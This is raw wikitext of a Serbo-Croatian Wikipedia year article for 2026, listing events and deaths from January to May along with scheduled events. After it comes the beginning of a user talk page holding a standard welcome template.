Godina '''2026''' (MMXXVI) je [[redovna godina koja počinje u četvrtak]]. * UN-ova Međunarodna godina: pašnjaka i stočara; volontera za održivi razvoj; zemljoradnica. * Nove godine: ♞ [[Kineska nova godina|kineska]] 17. 2.; ☪ islamska 16. 6.; ✡ [[Roš Hašana]] 11/12. 9. * Uskrs: ✝ zapadni 5. 4.; 🞣 istočni 12. 4. * Bajram: Ramazanski 20. 3.; Kurban 27. 5. == Događaji == === Januar/Siječanj === * [[1. 1.]] - Bugarska je 21. članica [[eurozona|eurozone]], 1,95583 [[bugarski lev|leva]] za euro. * 1. 1. - Požar u baru u [[Crans-Montana|Crans-Montani]], stradalo je 40 ljudi. * 1. 1. - Demokratski socijalista [[Zohran Mamdani]] je gradonačelnik [[New York]]a. * [[2. 1.]] - Šesti dan protesta u Iranu, iniciranih ekonomskom krizom. [[Donald Trump|Trump]] izjavljuje da će intervenisati ako demonstranti budu ubijani. * 2. 1. - [[Ciudad de la Paz (Ekvatorska Gvineja)|Ciudad de la Paz]] je novi glavni grad [[Ekvatorska Gvineja|Ekvatorske Gvineje]], u kontinentalnom delu zemlje, umesto [[Malabo]]a na ostrvu [[Bioko]]. * 2 - 4. 1. - Jemenski građanski rat: jemenska vlada je uz saudijsku pomoć povratila teritorije izgubljene u ofanzivi Južnog prijelaznog vijeća prošlog mjeseca (muhafaze [[Hadramaut (muhafaza)|Hadramaut]] i [[Al-Mahra (muhafaza)|Al-Mahra]]). Na otoku [[Sokotra]] su blokirani turisti. [[Datoteka:Nicolas Maduro on board the USS Iwo Jima (cropped).jpg|120px|mini|lijevo|[[Nicolás Maduro|Maduro]]]] * [[3. 1.]] - Operacija ''Absolute Resolve'': američki udari u [[Venecuela|Venecueli]] i hvatanje predsednika [[Nicolás Maduro|Nicolása Madura]] i njegove supruge po optužbi za trgovinu narkoticima. Trump izjavljuje da će SAD upravljati zemljom do tranzicije, najavljuje dolazak američkih naftnih kompanija. V.d. predsednika je [[Delcy Rodríguez]]. * [[6. 1.]] - Grenlandska kriza: lideri nekoliko evropskih zemalja reafirmiraju podršku Danskoj i [[Grenland]]u povodom novih američkih potraživanja. * 6. 1. - Kontroverza oko chatbota [[Grok]] koji generira seksualizirane slike žena i djevojčica. * 6 - 10. 1. - Sukob između sirijske prelazne vlade i kurdskih Sirijskih demokratskih snaga u [[Alep]]u - po sporazumu o primirju, SDF napušta grad. Vlada zatim preduzima ofanzivu 13-tog. * [[7. 1.]] - Snage međunarodno priznate jemenske vlade ulaze u [[Aden]]. * [[8. 1.]] - Pojačanje protesta u Iranu, praćeno gašenjem interneta i oružanim suzbijanjem - stradale su hiljade demonstranata. * 8. 1. - Rat u Ukrajini: hipersonična balistička raketa [[Orešnik]] je uveče upotrebljena protiv [[Lavov]]a. * [[14. 1.]] - Zlato je ove sedmice prelazilo 4.600 dolara za uncu, vrhunac 4.638. * [[17. 1.]] - Trump objavljuje da uvodi dodatne carine za osam evropskih zemalja koje učestvuju u vojnoj vežbi ''Arctic Endurance'' i protive se američkom zauzeću Grenlanda (u Davosu 21-og ih otkazuje, kaže da neće primenjivati silu i da je postigao okvirni sporazum sa gen. sek. NATO-a). * 17. 1. - U Paragvaju je potpisan sporazum o slobodnoj trgovini između [[EU]] i [[Mercosur]] (potrebna je ratifikacija). * 17. 1. - Na snazi je sporazum UN o zaštiti oceana (kolokvijalno ''High Seas Treaty''), za očuvanje i održivo korištenje morske bioraznolikosti izvan nacionalne jurisdikcije. * [[20. 1.]] - U Zagrebu prikazan film "[[Svadba (2026.)|Svadba]]" - najgledaniji hrvatski film. * 20. 1. - Politička kriza u Bugarskoj (traje od 2021): predsednik [[Rumen Radev]] je podneo ostavku; potpredsednica [[Ilijana Jotova]] postaje prva žena predsednik 23-ćeg. * [[21. 1.]] - Blokada Filozofskog fakulteta u Novom Sadu zbog otkaza prof. Jeleni Kleut - policija je izbacila iz zgrade studente, profesore i građane. * [[22. 1.]] - Trump i predstavnici nekoliko zemalja su u Davosu potpisali povelju [[Odbor mira|Odbora mira]] (''Board of Peace''), koji je u novembru pomenut u rezoluciji SB UN 2803 kao prelazno upravno i nadzorno telo za Gazu. * 22. 1. - SAD su napustile [[Svjetska zdravstvena organizacija|Svjetsku zdravstvenu organizaciju]]. * [[23. 1.]] - Američki organ je produžio licencu Naftnoj industriji Srbije do 20. februara (mađarski MOL je objavio 19-tog da će preuzeti NIS od Gaspromnjefta). * [[24. 1.]] - Kriza u [[Minneapolis, Minnesota|Minneapolisu]]: nakon Renée Good 7-og, agenti ICE (Sprovođenje imigracije i carina) ubili su i Alexa Prettija. * 10 - [[25. 1.]] - Evropsko prvenstvo u vaterpolu, Beograd: Srbija 1, Hrvatska 6, Crna Gora 7. U all-star timu su [[Milan Glušac]], [[Dušan Mandić]] i [[Strahinja Rašović]]. * [[26. 1.]] - Talačka kriza u Gazi: Izraelci su našli telo poslednjeg taoca. * [[27. 1.]] - Samit EU-Indija u New Delhiju: postignut je sporazum o slobodnoj trgovini (potrebna ratifikacija). * 27. 1. - [[Južni Sudan]]: vladine snage, preds. [[Salva Kiir Mayardit|Salve Kiira]], pokrenule ofanzivu u državi Jonglei kako bi povratile pozicije koje su prošlog meseca zauzele opozicione snage zatvorenog bivšeg potpredsednika [[Riek Machar|Rieka Machara]]. * [[28. 1.]] - Urušavanje rudnika [[koltan]]a Rubaya na istoku DR Kongo: stradalo je preko 400 ljudi. * 28. 1.]] - [[Sarah Mullally]] je prva žena [[nadbiskup Canterburyja]]. * [[29. 1.]] - U [[Konjuh (Kruševac)|Konjuhu]] kod Kruševca zaplenjeno pet tona marihuane. * 29. 1. - Trump je potpisao izvršno naređenje o carini za zemlje koje snabdevaju [[Kuba|Kubu]] naftom; Meksiko je još pre dva dana otkazao isporuku - na Kubi se zaoštrava energetska kriza. * [[30. 1.]] - Predsednik Vučić je potpisao paket od pet izmena i dopuna pravosudnih zakona, tzv. Mrdićeve zakone. [[Datoteka:EFTA00001815 - Stone-walled driveway leads to a luxurious villa with palm trees and a coastal view featuring a black utility vehicle parked on the concrete pad.jpg|mini|Na "Epsteinovom otoku" 2019. ([[Little Saint James]], [[Američki Djevičanski Otoci]])]] * 30. 1. - Ministarstvo pravde SAD je objavilo 3,5 miliona dokumenata u vezi [[Jeffrey Epstein|Jeffreya Epsteina]]; novi fokus na bivšeg princa Andrewa i britanskog političara Petera Mandelsona. * 30. 1. - Nakon što je dostigla 5.500 dolara za uncu, cena zlata pada 9%, najviše od 1983. === Februar/Veljača === * 15. 1. - [[1. 2.]] - [[EHF Euro 2026.]] (Danska, Švedska Norveška): Danska 1, Hrvatska 3, Srbija 19, Crna Gora 23. U all-star timu je [[Mario Šoštarić]]. Doček rukometaša u Zagrebu 2-og je organizirala Vlada RH. * [[3. 2.]] - Islamisti ubili 160-200 ljudi u dva sela u zapadnoj nigerijskoj državi Kwara. * [[5. 2.]] - Istekao ugovor [[Novi START]] o redukciji nuklearnog naoružanja iz 2010. (Rusija je suspendovala učešće 2023). * 5. 2. - U Makedoniji je počela akcija u kojoj je zaplenjeno 40 tona marihuane. * [[6. 2.]] - [[Dow Jones Industrial Average|Dow Jones IA]] je prvi put prešao 50.000. * 6 - 22. 2. - Zimske olimpijske igre u [[Milano|Milanu]] i [[Cortina d'Ampezzo|Cortini d'Ampezzo]]. * [[8. 2.]] - Izbori za predsjednika Republike Srpske (od novembra): nakon ponavljanja glasanja na 136 biračkih mjesta, potvrđena je pobjeda [[Siniša Karan|Siniše Karana]] iz SNSD (inauguracija 17-og). * 8. 2. - Vanredni izbori u [[Japan]]u: [[Liberalna demokratska partija (Japan)|LDP]] premijerke [[Sanae Takaichi]] dobija dvotrećinsku većinu. * 8. 2. - [[Super Bowl]] LX u [[Santa Clara, California|Santa Clari]]: [[Seattle Seahawks]] - [[New England Patriots]] 29:13; u poluvremenu je nastupio portorikanski reper [[Bad Bunny]]. * [[12. 2.]] - Trump opozvao klasifikaciju gasova staklene bašte kao pretnje javnom zdravlju iz 2009, kao i standarde za emisije iz vozila. * 12. 2. - [[Vještačka inteligencija]]: kineska kompanija [[ByteDance]] objavila aplikaciju ''Seedance 2.0'' za generiranje videa - hollywoodski studiji prete tužbom za povredu intelektualnih prava. * [[19. 2.]] - Bivši princ Andrew je bio pritvoren zbog prestupa na javnoj funkciji. * 19. 2. - Bivši južnokorejski predsednik Yoon Suk Yeol osuđen na doživotnu kaznu za pobunu kada je proglasio ratno stanje u decembru 2024. * [[20. 2.]] - Vrhovni sud SAD presudio da predsednik nema pravo da uvodi carine prema zakonu iz 1977 (carine od 2. 4. 2025). Trump sutradan objavljuje globalne carine od 10% po zakonu iz 1962, što ubrzo povećava na 15%. * [[22. 2.]] - Fatalno ranjen ''El Mencho'', lider meksičkog narko-kartela Jalisco Nova Generacija - njegovi ljudi izvode više paljevinskih napada, blokada puteva i sukoba sa vlastima. * [[26. 2.]] - Eskalacija u Konfliktu Pakistana i Afganistana: afganski Talibani napadaju pakistanske položaje (nakon pakistanskih udara od 21-og), Pakistan kaže da je u punom ratu sa Afganistanom. * [[27. 2.]] - MUP objavio da je Hrvatska očišćena od mina. * [[28. 2.]] - Počinje Operacija Lav koji riče/Epska furija, izraelsko-američki udari na Iran sa željom promene režima. ** Ubijen je Vrhovni lider [[Ali Hamenei]] sa još nekoliko vojnih čelnika. Pogođena je škola za devojčice u Minabu na jugu zemlje, iranski mediji izveštavaju o 165 mrtvih. ** Iran uzvraća na Izrael i ciljeve u Persijskom zalivu. === Mart/Ožujak === [[Datoteka:Op epic fury timeline 100hrs - pentagon - mar4 - straight.jpg|mini|Prvih 100 sati rata u Zalivu]] * [[1. 3.]] - Dron pogodio britansku bazu Akrotiri na Kipru. * 1. 3. - Masakru u Abiemnomu na severu [[Južni Sudan|Južnog Sudana]]: omladinci, moguće [[Nuer]]i, napali su [[Dinka (narod)|Dinke]], ubijeno je najmanje 169 ljudi. * [[2. 3.]] - Obnovljen sukob između [[Hezbolah]]a i Izraela. Evakuacije sa juga Libana, gađanje meta na jugu Bejruta. * [[3. 3.]] - Još jedan odron u rudnicima [[koltan]]a Rubaya u prov. [[Nord-Kivu|Severni Kivu]], [[DR Kongo]], sa preko 200 mrtvih (u januaru je stradalo preko 400 ljudi). * [[4. 3.]] - Iranska fregata IRIS Dena je torpedovana blizu Šri Lanke. * [[5. 3.]] - Izbori u [[Nepal]]u, prvi od protesta Gen Z prošlog septembra: skoro dvotrećinska većina za Nacionalnu nezavisnu partiju, repera i gradonačelnika Katmandua [[Balen Shah]]a. * [[6. 3.]] - Kosovska predsednica [[Vjosa Osmani]] raspustila skupštinu dan nakon neuspelog biranja novog predsednika; "[[Samoopredeljenje (politička stranka)|Samoopredeljenje]]" se obraća Ustavnom sudu. * 7/[[8. 3.]] - Pogođeni rezervoari nafte kod Teherana, grad je obavijen dimom, pada crna kiša. Za novog Vrhovnog lidera Irana je izabran sin prethodnog, [[Mojtaba Khamenei]]. * [[9. 3.]] - Cena nafte prelazi 100 dolara po barelu, prvi put od 2022. Promet [[Hormuški tjesnac|Hormuškim tjesnacom]] je znatno otežan. * [[13. 3.]] - Gađane su vojne mete na iranskom ostrvu i naftnom terminalu [[Hark]]. * [[15. 3.]] - [[98. dodjela Oscara]]: najbolji film je ''[[One Battle After Another]]'', ukupno šest nagrada od 13 nominacija, uključujući novu kategoriju za [[kasting]]; ''[[Sinners (film iz 2025.)|Sinners]]'', četiri od rekordnih 16; ''[[Frankenstein (film iz 2025.)|Frankenstein]]'' tri od devet; ''[[KPop Demon Hunters]]'' dve od dve; ''[[Sentimental Value]]'' jedna, međunarodna, od devet; ''[[Hamnet (film)|Hamnet]]'' jedna od osam; ''[[Marty Supreme]]'' ništa od devet. * [[16. 3.]] - U pakistanskom udaru je pogođena bolnica, centar za rehabilitaciju narkomana, u Kabulu - lokalni izvori tvrde da ima na stotine mrtvih. * 16. 3. - Započete su izraelske kopnene operacije na jugu Libana - narednih dana se ruše mostovi na reci [[Litani]]. * 16. 3. - Nestanak struje na celoj Kubi (i opet 21-og). * [[17. 3.]] - U izraelskim napadima u Teheranu, ubijeni su tajnik Vrhovnog vijeća nacionalne sigurnosti [[Ali Laridžani]] i komandant Basidža, paravojne dragovoljačke milicije u okviru Revolucionarne garde, Golamreza Solejmani (sljedeće noći i ministar obavještajnih dijela Esmail Hatib). * [[18. 3.]] - Prvi, izraelski, napad na iransku hidrokarbonsku proizvodnju: najveće gasno polje, Južni Pars, koje deli sa [[Katar]]om. Iran odgovara udarom i velikom štetom na katarskom kompleks Ras Laffan za likvefakciju gasa. Ovo povlači obustavu rada kompanije QAFCO, koja proizvodi 14% svetske [[Urea|uree]].<ref>[https://www.theguardian.com/world/2026/apr/03/visual-guide-gulf-fertiliser-blockade ‘Food security timebomb’: a visual guide to the Gulf fertiliser blockade]. theguardian.com 3 Apr 2026</ref> * [[20. 3.]] - Iranci su ispalili dve rakete prema bazi Diego Garcia u sredini Indijskog okeana - jedna se raspala, druga presretnuta. * 20 - 22. 3. - Svetsko prvenstvo u dvoranskoj atletici, [[Toruń]]: srebro za [[Angelina Topić|Angelinu Topić]] u skoku u vis. * [[21. 3.]] - Nakon što je u Iranu gađano nuklearno postrojenje Natanz, iranske rakete pogađaju izraelska mesta Arad i [[Dimona]], nedaleko od nuklearnog centra. * [[22. 3.]] - Parlamentarni izbori u Sloveniji: vladajuće [[Gibanje Svoboda]] je opalo, ali je jedan mandat ispred Janšine [[Slovenska demokratska stranka|SDS]]. * 22. 3. - Lokalni izbori u Francuskoj, drugi krug. Socijalisti zadržali Pariz. * [[24. 3.]] - Potpisan ugovor o slobodnoj trgovini između EU i Australije. * 25 - 26. 3. - Sud u Novom Meksiku odredio 375 milona dolara globe Meti (Facebook i Instagram) jer je omogućila seksualnu eksploataciju dece; sutradan u Los Angelesu sud nalazi da su Meta i YouTube stvorili adiktivne proizvode koji štete mladim korisnicima. * [[26. 3.]] - Nevrijeme u Hrvatskoj. * 26. 3. - Uveče, studentkinja pala sa petog sprata Filozofskog fakulteta u Beogradu. * [[28. 3.]] - Jemenski Husi su ispalili prvu raketu prema Izraelu tokom Iranskog rata. * [[29. 3.]] - Lokalni izbori u 10 opština Srbije (Aranđelovac, Bajina Bašta, Bor, Kladovo, Knjaževac, Kula, Lučani, Majdanpek, Sevojno, Smederevska Palanka). Bilo je nasilja, [[Srpska napredna stranka|naprednjaci]] uglavnom pobeđuju, sa smanjenom podrškom. * [[31. 3.]] - BiH pobijedila Italiju na penale i plasirala se na Svjetsko prvenstvo; Italija nije uspjela treći put zaredom. === April/Travanj === [[Datoteka:Orion POV- Destination and Home (art002e009567).jpg|mini|[[Artemis II]]: brod Orion, Mĕsec i Zemlja]] * [[1. 4.]] - [[10. 4.]] - NASA-ina misija [[Artemis II]], sa posadom oko Meseca, prva iznad niske orbite od 1972; 6/7. 4. su obišli oko Meseca, na rekordnoj udaljenosti od 406.771 km od Zemlje. * [[3. 4.]] - U Iranu je oboren američki [[McDonnell Douglas F-15E Strike Eagle|F-15E]]: pilot je ubrzo spasen a oficir za oružne sisteme 5-tog (prilikom spašavanja Amerikanci uništili dva svoja aviona [[Lockheed C-130 Hercules|C-130]] i dva mala helikoptera [[MD Helicopters MH-6 Little Bird|MH-6]]). Oboren i [[Fairchild Republic A-10 Thunderbolt II|A-10]] kod Hormuškog tjesnaca. * [[5. 4.]] - Objavljeno da je blizu [[Kanjiža|Kanjiže]] pronađen eksploziv kod gasovoda koji vodi prema Mađarskoj. * [[7. 4.]] - Trump: "jedna civilizacija će umreti večeras" ako Iran ne prihvati sporazum. Sledeće noći je dogovoreno primirje na dva tjedna i otvaranje Tjesnaca. * [[8. 4.]] - Izrael smatra da Liban nije obuhvaćen primirjem, u jakim udarcima na Bejrut je stradalo preko 200 ljudi. Iran zatvara Tjesnac i gađa zaljevske zemlje. * [[12. 4.]] - Bez rezultata u pregovorima SAD-Iran u Islamabadu; Trump objavljuje blokadu Hormuškog tjesnaca. [[Datoteka:Bastion of Hungarian Freedom 2026 (44).jpg|mini|Budimpešta 2026.]] * 12. 4. - Parlamentarni izbori u Mađarskoj: partija ''Tisza'' [[Péter Magyar|Pétera Magyara]] pobjeđuje sa dvotrećinskom većinom zastupnika; [[Viktor Orbán|Orbán]] i [[Fidesz]] su proveli četiri mandata i 16 godina na vlasti. * [[13. 4.]] - SAD uvele pomorsku blokadu Irana. * [[16. 4.]] - Prvi ukrajinski napad na rafineriju i naftni terminal u [[Tuapse]]u, na crnomorskoj ruskoj obali - još tri talasa do 2. maja izazivaju veliku materijalnu i ekološku štetu. * [[17. 4.]] - Iran otvara Tjesnac tijekom lebanonskog primirja, ali ga zatvara već sutradan zbog nastavljene američke blokade. * [[19. 4.]] - Izbori u Bugarskoj, osmi za pet godina: Progresivna Bugarska bivšeg predsednika [[Rumen Radev|Radeva]] dobija apsolutnu većinu mandata. * [[23. 4.]] - Deblokirana pomoć EU od 90 milijardi eura za Ukrajinu. * [[25. 4.]] - [[Rat u Maliju]] i [[Rat u Sahelu]]: koordinirani napadi džihadista iz JNIM i [[Azavad|tuareških pobunjenika]] u više gradova [[Mali]]ja. * 25. 4. - Čovek je pucao blizu Večere dopisnika iz Bele kuće, kojoj su prisustvovali i čelnici SAD. * [[26. 4.]] - [[Sabastian Sawe]] je istrčao Londonski maraton za manje od dva sata. * [[28. 4.]] - RH i BiH potpisali u Dubrovniku sporazum o gradnji plinovoda [[Južna interkonekcija]]. * 28. 4. - Kosovski parlament ne uspeva izabrati novog predsednika - raspušten je, izbori će biti u junu. === Maj/Svibanj === * [[1. 5.]] - [[Ujedinjeni Arapski Emirati]] su napustili [[OPEC]]. * [[2. 5.]] - Ministarstvo obrane SAD objavilo da će povući 5.000 vojnika iz Njemačke (od ca. 36.000). * 2. 5. - Na holandskom kruzeru ''MV Hondius'' na Atlantiku je umrla druga osoba od [[hantavirus]]a, treća ukupno (brod stiže na Tenerife 10-tog, odakle ide evakuacija). * [[4. 5.]] - Američka operacija ''Project Freedom'': pratnja brodova u [[Hormuški tjesnac|Hormuškom tjesnacu]] (sutradan pauzirana). Iranci su gađali naftnu luku u Al Fudžajri. * [[7. 5.]] - Lokalni izbori u UK: uspeh za [[Reform UK]] i Zelene. Nacionalistički [[Plaid Cymru]] ima najviše mandata u Velškoj skupštini (laburisti su bili dominantni od 1922). U Škotskoj je pobedila [[Škotska nacionalna stranka]]. Veliki gubici za vladajuće laburiste na lokalu u Engleskoj. * [[11. 6.]] - [[Christian Schmidt]] potvrđuje da odlazi s pozicije [[Ured visokog predstavnika za Bosnu i Hercegovinu|OHR]]. * 13 - 15. 5. - Trumpova državna poseta Kini. * [[14. 5.]] - Kriza na Kubi: ministar energije izjavljuje da nema više nafte i dizela. * 14. 5. - Potvrđena epidemija Bundibugyo, /bundibudžo/, [[ebola|ebole]] u provinciji [[Ituri]] DR Kongo (moguće da je počela još pre dva meseca). Bolest je prisutna i u Ugandi. [[SZO]] 17-tog objavljuje vanrednu situaciju od međunarodnog interesa. * 14. 5. - U napadu na Kijev ima 24 mrtvih, Ukrajina tri dana kasnije upućuje rafal prema Moskvi i Bjelgorodu. * [[15. 5.]] - Uhapšen načelnik beogradske policije Veselin Milić i još 11 osoba, među kojima tri policajca, tri dana nakon pucnjave u restoranu „27" na [[Senjak]]u i nestanka 52-godišnjeg muškarca (telo pronađeno u buretu, 21-og u Inđiji). * 12 - [[16. 5.]] - Pesma Evrovizije u Beču. Pet zemalja bojkotira zbog učešća Izraela. Prva je [[Dara (bugarska pjevačica)|Dara]] iz Bugarske ("Bangaranga"), 15. Lelek iz Hrvatske ("Andromeda"), 17. Lavina iz Srbije ("Kraj mene"). * [[18. 5.]] - Tužba protiv Službe unutrašnjih prihoda (IRS) od strane preds. Trumpa i njegovih sinova rešena nagodbom: vlada SAD formira fond od blizu 1,8 milijardi dolara, ''Anti-Weaponization Fund'', za nadoknadu predsednikovim saveznicima koji tvrde da su nepravedno istraživani. U dodatku nagodbe se kaže da IRS prekida sve preglede poreskih prijava. * [[20. 5.]] - Vazdušna uzbuna u [[Vilnius]]u zbog drona blizu beloruske granice. * 20. 5. - Velika porota u Majamiju optužila [[Raúl Castro|Raúla Castra]] i dr. za ubistvo u obaranju dve emigrantske cesne 1996. * [[23. 5.]] - Miting "Ti i ja, Slavija", u Beogradu, sa preko 180.000 okupljenih. Sukobi kod Pionirskog parka. Železnički saobraćaj u zemlji obustavljen ranije tokom dana. * [[24. 5.]] - Rusija gađala Ukrajinu sa 600 dronova i 90 raketa, uključujući hipersonični Orešnik, dva dana nakon što je u Starobjeljsku u Luganskoj oblasti pogođen pedagoški univerzitet, sa 21 žrtvom. == Predviđeni događaji == * [[7. 6.]] - Vanredni izbori na Kosovu. * 11. 6. - 19. 7. - FIFA Svetski kup u Severnoj Americi. * [[12. 8.]] - Totalno [[pomračenje Sunca]], u sh. krajevima prekriveno preko 90% diska<ref>[http://eclipse.gsfc.nasa.gov/SEsearch/SEsearchmap.php?Ecl=20260812 Total Solar Eclipse of 2026 August 12] {{Webarchive|url=https://web.archive.org/web/20150320164625/http://eclipse.gsfc.nasa.gov/SEsearch/SEsearchmap.php?Ecl=20260812 |date=2015-03-20 }}, ''NASA''</ref>. * [[29. 8.]] - Referendum o nastavku pregovora o članstvu [[Island]]a u EU. * [[4. 10.]] - Izbori u BiH. * [[19. 10.]] - Referendum sa 10 pitanja u kanadskoj provinciji [[Alberta]], među kojima i da li treba raspisati referendum o nezavisnosti. * [[3. 11.]] - Izbori na sredini mandata u SAD. * 19. 11. - Najavljena igra ''[[Grand Theft Auto VI]]''. === Nepoznati datumi === * jesen? - Vanredni izbori u Srbiji? == Rođenja == == Smrti == {{glavni članak|:Kategorija:Umrli 2026.}} === Januar/Siječanj === * [[1. 1.]] - [[Nexhat Daci]], kosovski političar, akademik ANUK (* [[1944]]) * [[2. 1.]] - [[Dejan Đurović]], glumac, spiker, voditelj (* [[1938]]) * [[5. 1.]] - [[Aldrich Ames]], špijun (* [[1941]]) * [[10. 1.]] - [[Erich von Däniken]], ufolog (* [[1935]]) * [[19. 1.]] - [[Valentino Garavani|Valentino]], modni kreator (* [[1932]]) * 19. 1. - [[Senka Veletanlić]], pevačica, glumica (* [[1936]]) * [[20. 1.]] - [[Beti Đorđević]], pevačica (* [[1946]]) * [[23. 1.]] - [[Dalibor Brun]], pjevač (* 1944) * [[30. 1.]] - [[Catherine O'Hara]], glumica (* [[1954]]) === Februar/Veljača === * [[3. 2.]] - [[Saif al-Islam Gaddafi]], libijski političar (* [[1972]]) * [[6. 2.]] - [[Miro Vuksanović]], književnik, akademik SANU (* [[1944]]) * [[7. 2.]] - [[Gordana Marić]], glumica, profesorka FDU (* * [[13. 2.]] - [[Ljiljana Pavić]], scenaristkinja (* [[1938]]) * 13. 2. - [[Tatjana Ječmenica]], teniserka, trener, selektor (* [[1978]]) * [[15. 2.]] - [[Robert Duvall]], glumac (* [[1931]]) * [[17. 2.]] - [[Jesse Jackson]], aktivist za ljudska prava (* [[1941]]) * [[18. 2.]] - [[Borislav Paravac]], bivši član Predsjedništva BiH (* [[1943]]) * 18. 2. - Ljiljana Zelen Karadžić (* [[1945]]) * [[20. 2.]] - [[Mirjana Kapetanović]], bh. književnica i novinarka (* [[1959]]) * [[21. 2.]] - [[Vladislav Jovanović]]. srpski diplomata (* [[1933]]) * 21. 2. - [[Dan Simmons]], književnik (* [[1948]]) * [[23. 2.]] - [[Dragoljub Dimitrijević]], vajar, profesor FPU (* [[1950]]) * [[25. 2.]] - [[Antonio Tejero]], neuspeli španski pučista (* [[1932]]) * [[27. 2.]] - [[Neil Sedaka]], kantautor, pijanist (* [[1939]]) * [[28. 2.]] - [[Ali Hamenei]], Vrhovni lider Irana (* [[1939]]) === Mart/Ožujak === * [[8. 3.]] - [[B. Wongar]] (Sreten Božić), književnik (* 1932) * 8. 3. - [[Vladimir Rakočević]], matematičar, akademik SANU (* [[1953]]) * [[14. 3.]] - [[Jürgen Habermas]], filozof, socijalni teoretičar (* [[1929]]) * [[17. 3.]] - [[Patrijarh gruzijski Ilija II]] (* [[1933]]) * 17. 3. - [[Ali Laridžani]], iranski političar (* [[1958]]) * [[19. 3.]] - [[Chuck Norris]], glumac, majstor borilačkih vještina (* [[1940]]) * 19. 3. - [[Umberto Bossi]], talijanski političar (* [[1941]]) * [[20. 3.]] - [[Robert Mueller]], bivši šef FBI, specijalni istražilac (* [[1944]]) * 20. 3. - [[Božo Koprivica]], književnik, dramaturg (* [[1950]]) * [[22. 3.]] - [[Lionel Jospin]], bivši francuski premijer (* [[1937]]) * 22. 3. - [[Hermann Huppen]], stripotvorac (* [[1938]]) * 22. 3. - [[Radoje Čupić]], glumac (* [[1958]]) * [[26. 3.]] - [[James Tolkan]], glumac (* [[1931]]) * [[30. 3.]] - [[Carlos Westendorp]], španjolski diplomat, bivši VP u BiH (* [[1937]]) === April/Travanj === * [[5. 4.]] - [[Vlatko Cvrtila]], profesor, gepolitički analitičar (* [[1965]]) * [[6. 4.]] - [[Christian Schwarz-Schilling]], njemački diplomat, bivši VP u BiH (* [[1930]]) * [[8. 4.]] - [[Duško Vujošević]], košarkaški trener (* [[1959]]) * [[9. 4.]] - [[Afrika Bambaataa]], pionir hip-hopa (* [[1957]]) * [[23. 4.]] - [[Rexhep Qosja]], književnik (* [[1936]]) === Maj/Svibanj === * [[1. 5.]] - [[Alex Zanardi]], vozač F1, paraolimpijac (* [[1966]]) * [[6. 5.]] - [[Ted Turner]], osnivač CNN (* [[1938]]) * 6. 5. - [[Vladimir Cvetković]], košarkaš, funkcioner FK Crvena Zvezda (* [[1941]]) * 6. 5. - [[Rajko Kasagić]], bivši premijer RS (* [[1942]]) * [[16. 5.]] - [[Predrag Koraksić]] Corax, karikaturista (* [[1933]]) * 16. 5. - [[Félicien Kabuga]], finansijer genocida u Ruandi (* [[1933]]) * [[21. 5.]] - [[Julienne Bušić]], otmičarka (* [[1948]]) * 21. 5. - [[Kyle Busch]], vozač NASCAR (* [[1985]]) * [[22. 5.]] - [[Dick Parry]], saksofonist ''Pink Floyd''-a (* [[1942]]) * [[26. 5.]] - [[Dragoljub Mićunović]], filozof, srpski političar iz DS, DC (* [[1930]]) == Nobelove nagrade == === Veze === [[Godišnji kalendar]] == Reference == {{izvori}} {{Commonscat}} [[Kategorija:2026.| ]] 59ju3ki1abj76llitdap4ey315nhtgm 3 395556 42602614 41543681 2026-05-27T21:58:55Z Little Sunshine 346946 Little Sunshine premješta stranicu [[Razgovor s korisnikom:SpunkyLepton]] na [[Razgovor s korisnikom:SparkyLepton]]: Automatsko premještanje stranice zbog preimenovanja korisnika "[[Special:CentralAuth/SpunkyLepton|SpunkyLepton]]" u "[[Special:CentralAuth/SparkyLepton|SparkyLepton]]" 41543681 wikitext text/x-wiki {| style="width:100%; background:transparent;" | style="background:#ffc9c9; border:1px solid #a3bfb1; -moz-border-radius-topleft:12px; -webkit-border-top-left-radius:12px; border-top-left-radius:12px; width:20%; height:30px" | <div class="center" style="width:auto; margin-left:auto; margin-right:auto;">[[File:Gnome-help.svg|18px|link=Pomoć:Sadržaj]] [[Pomoć:Sadržaj|Pomoć]]</div> | style="background:#cef2e0; padding:0.5em 0.5em 0.5em 1em; font-size:130%; border:1px solid #a3bfb1; -moz-border-radius-topright:12px; -webkit-border-top-right-radius:12px; border-top-right-radius:12px; width:80%; font-size: 120%;" | '''Pozdrav, SpunkyLepton! [[Wikipedia:Dobrodošli|Dobrodošli]] na [[Srpskohrvatska Wikipedija|Wikipediju]] na [[srpskohrvatski jezik|srpskohrvatskom jeziku]]!''' |- | style="background:#ffdec9; border:1px solid #a3bfb1; height:30px; padding-left:1em" | <div class="center" style="width:auto; margin-left:auto; margin-right:auto;">[[File:Nuvola apps ksig-vector.svg|18px|link=Wikipedia:Kurs/Tečaj]] [[Wikipedia:Kurs/Tečaj|Uvodni kurs/tečaj]]</div> | rowspan="8" style="background:#f5fffa; border:1px solid #a3bfb1; -moz-border-radius-bottomright:12px; -webkit-border-bottom-right-radius:12px; border-bottom-right-radius:12px; padding:0.5em 1em;" | Wikipedia je projekt slobodne internetske enciklopedije koju svako može uređivati. Ako se prvi put nalazite na Wikipediji i želite joj doprinositi, preporučamo da odvojite nešto vremena i proučite [[Wikipedia:Pet stubova Wikipedije|pet osnovnih načela]], te se upoznate sa Wikipedijinim [[Wikipedia:Smernice i preporuke|smjernicama i preporukama]]. Ako vam zatreba pomoć pri uređivanju, možete da pregledate [[Pomoć:Sadržaj|stranice pomoći]] i prođete kroz [[Wikipedia:Kurs/Tečaj|uvodni kurs/tečaj]]. Na [[Wikipedia:Stranica za razgovor|stranicama za razgovor]] uvijek se '''potpisujte''': bilo da utipkate 4 tilde <code><nowiki>~~~~</nowiki></code> bilo da kliknete na ikonu [[Datoteka:OOjs UI icon signature-ltr.svg|25px]] na traci za uređivanje. Izmjene [[Wikipedia:Što je članak?|članaka]] se '''nikad ne potpisuju'''. Na stranici [[Posebno:Recentchanges|Nedavnih izmjena]] možete saznati za nove zanimljive članke, ko je trenutno aktivan, odnosno šta se trenutno na Wikipediji radi. Na stranici [[Wikipedia:Pijaca-Пијаца|Pijace]] možete pročitati o novostima na Wikipediji i obratiti se zajednici, bilo da sudjelujete u diskusijama ili postavljate pitanje. Nadamo se da će vam ovdje biti ugodno, te da ćete svojim doprinosima postati stalni saradnik - '''Wikipedijanac'''! Ako imate bilo kakva pitanja, slobodno se obratite meni ili drugim urednicima na [[Wikipedia:Pijaca-Пијаца|Pijaci]]. Još jednom, dobrodošli na Wikipediju i sretan rad! <div style="border-bottom:1px solid #eee; padding-top:0.17em; padding-bottom:0.5em"></div> <div style="font-size: 90%;">[[Datoteka:English language.svg|25px]] 